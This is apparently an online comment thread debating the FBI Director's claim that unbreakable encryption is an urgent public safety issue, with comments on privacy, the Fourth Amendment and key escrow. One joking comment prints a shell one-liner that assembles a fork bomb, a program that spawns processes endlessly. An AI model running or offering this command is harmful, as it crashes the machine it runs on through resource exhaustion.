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FBI Chief Calls Unbreakable Encryption 'Urgent Public Safety Issue' (reuters.com)
The inability of law enforcement authorities to access data from electronic devices due to powerful encryption is an "urgent public safety issue," FBI Director Christopher Wray said on Tuesday in remarks that sought to renew a contentious debate over privacy and security. From a report: The FBI was unable to access data from nearly 7,800 devices in the fiscal year that ended Sept. 30 with technical tools despite possessing proper legal authority to pry them open, a growing figure that impacts every area of the agency's work, Wray said during a speech at a cyber security conference in New York. "This is an urgent public safety issue," Wray added, while saying that a solution is "not so clear cut."
Think of the children! No, not the children assembling iPhones in sweatshops: the children the FBI are looking to protect. Think of them.
"I want free access to the cookie jar, waaaaaah!"
Table-ized A.I.
Heaven forbid people actually be secure in their persons, papers, and effects!
Stupid sexy Flanders.
I will grant Christopher Wray benefit of the doubt and interpret his words charitably - he must have meant it is public safety issue that more people don't use strong cryptography, potentially exposing sensitive data to FBI and other crooks.
I don't see it all that short term thinking. This is definitely part of a larger picture, a longer termed plan.
Get this wedge in now, this idea that some authority should have all the keys to the encryption kingdom, and it should be easier to keep it there when the next privacy scheme comes along. Otherwise it's a doubly hard fight the next time. You have to convince more people that the authorities are correct to want it. Do it now, when it is of less concern.
Either encryption works for everyone, or it works for no one.
In the end, calling unbreakable encryption an "urgent public safety issue" is pointless.
Why are cars lacking security features against terrorists?
Why are guns lacking security features against terrorists?
Why is cash lacking security features against terrorists?
The FBI/CIA/NSA does not only want to access the devices thieves/killers/terrorists, they want to spy on EVERYONE.
#DeleteFacebook
An urgent public safety issue? Talk about first world problems. Even if one person gets through and kills 50 people, Its a sad day, but certainly not the end of the world.
--
We had every right to shoot him. - G. Gordon Liddy
You have the legal authority to pry them open. Get prying. Having the authority to try to open something doesn't give you the entitlement to open it. Unfortunately, it seems the top dog at the FBI does not understand this concept. It's also entirely the fault of the FBI and other government agencies with police powers that this encryption situation has gone in this direction. They made this bed and they must lie in it. No law can change the fundamental properties of mathematical operations, and good luck outlawing consumer encryption since every CPU being made nowadays (even Celerons and Atoms) has hardware AES and such strong encryption is ubiquitous. Combined with the epic failure and subsequent revelations of major flaws in the government's key escrow Clipper Chip, there is no way the FBI is killing off the spread of encryption.
It is an 'Urgent Public Safety Issue', but not in the way they are suggesting...
... is our fucking brains.
"Our inability to get inside people's heads is an "urgent public safety issue."
It little behooves the best of us to comment on the rest of us.
Apparently doesn't know what the first, fourth and fourteenth amendments are or that they are supposed to protect us from him.
I will use any encryption that you want me to use.
As long as you can prove to me that you use the same encryption for everything at the FBI.
If you are not willing to do that. GO FUCK YOURSELF
Death has been proven to be 99% fatal in lab rats.
What puzzles me is, with all of the resources that the US federal government has at their disposal, why aren't they actually trying to crack encrypted phones?
As I understand it, the older iPhones could likely be cracked by desoldering a chio and interrogating it. The newer ones have their entire security apparatus encased in a single chip but I don't see why the chip couldn't be removed, disassembled, and its partial private key extracted. It's probably not something that could be done by hand and would probably involve contracting with a chip-fabricating outfit. The outlay costs would be enormous but once a "Federal Bureau of Device Recovery" was established and operational, they could make back money by cracking phones for state and local law enforcement.
It's just so strange because it seems likely that eventually other countries will have this capability, if they don't already. My guess is that if the FBI hasn't figured out how to crack encrypted iPhones themselves in the next 5 years, they'll be a company in Israel that will be happy to do it for them.
The director paged through the packet logs from the FBI director's machine and smiled to himself.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They want to catch crooks. Meanwhile, billions in dictatorships are kept down with the assistance of breaking crypto.
Are we to sacrifice them so a prosecutor can get a notch or two on his belt once in a great while?
And what are those hundreds of millions of children living with a boot on their face...forever...worth?
Torture and murder some, you are a nasty criminal. Torture and murder hundreds of thousands, and people in free countries say you are practicing self-rule.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
7800 terrorists went free? 7800 deals for pot were consummated? Or 7800 sets of hot nude pics were not drooled over by FBI agents?
Have gnu, will travel.
Nobody said your job was going to be easy.
No one has granted you carte blanche to access our data, our lives, our thoughts.
The big problem here is the effort to prevent a crime vs solving a crime.
The government, the police, the feds, etc. want access to prevent a crime, but that in itself is quite fluid because, as Trump is demonstrating, it can be a "crime" just to say he is a foolish, petulant child. So they want access to everything to "prevent" this kind of thing.
While I might support cracking something open for additional evidence to solve a crime, where at least one or more judges agree that a crime has been committed and where the courts can be used to argue whether or not to force the opening, I would never consent to allowing any so-called authority a pass key to dig around in my stuff in a preventative fishing expedition.
Much as I don't like this idea myself, it is not new.
The Fourth Amendment explicitly allows the Executive Branch — after securiing Judicial Branch's approval — to access all of our possessions and "effects". They have a right to do that, which no one seems to seriously dispute.
The strong encryption has given us the means to lock things up so that even the government can't get them — this part is new. Although they still have the right to read your data, they no longer have the ability to do it.
While this is something we individually celebrate, you can not denounce police complaints about this situation without also denouncing their well-established — and generally accepted — power to search all your other stuff.
In Soviet Washington the swamp drains you.
While we want privacy and anonymity, we don't want it used for nefarious purposes. Such things tend to serve people generally but also terrorists, pedophiles, drug cartels, etc. I strongly believe we need a system that provides accountable anonymity, such as a Reputational Identity Service.
That is, create an identity that enables others it interacts with to rank its reputations along a rubric. This could be used for determining if the identity is a good citizen on comment boards, doesn't cheat people in business, etc. It could act as a form of credit check... Does the entity have a strong reputation for dependability in paying what it owes? Just like with ordinary credit, an identity would begin with no reputation and slowly build one over time. If the identity has a long history of being a certain way then the risk is low that that will change any time soon. This is true, even if the same person holds two identities--one for good and one for evil. You will know which one is safe to deal with, and how much it is..
Each person's must have a limit as to how much he/she can give to others, to prevent undue reputation inflation or deflation. So each time you score another, you have a percentage of your total to give and that takes away proportionally from those you have already given to. So one's reputation can build but it will also fade over time. One's reputation score is measured by its average over time... This is LIKES++.
On message boards, filter and allow privileges based on reputations. Do business based on reputations. Deny certain information based on reputation. Reputation may always be earned or lost.
If encryption is breakable with a large amount of effort, then it does several useful things:
* It prevents people without the resources from accessing your mail.
* It may provide short-term security, which may be sufficient.
* It makes those who do have the resources be selective in whose encryption they break.
For example, if it takes a minimum of a week to break the encryption on an encrypted web connection that discusses an embargoed news item that will be published in 6 days, that's good enough.
Another example: If a government wants to crack down on encrypted communications among drug traffickers, but it costs them $10,000,000 for each decryption effort, they will need to pick and choose who they go after.
There are encryption systems that are provably unbreakable without a key, such as a one-time pad. Unfortunately, they are usually not practical to implement correctly.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
I guess I just wonder how the FBI made any other case, ever, without the ability to post-facto dig through any and all communication from the accused. It's not like secure communications are some new concept - it literally goes back many hundreds of years.
What did the FBI forget about investigation since the smartphone era began? And why?
Slashdot still doesnâ(TM)t support Unicode after it was added to the HTML standard in 1997.
Since there is no such thing as unbreakable encryption, I fail to see the problem here. Sure, it might take you a trillion years but all encryption can eventually be broken. Just takes time.
I read at +2. If your post doesn't reach that level I will not see or respond to it.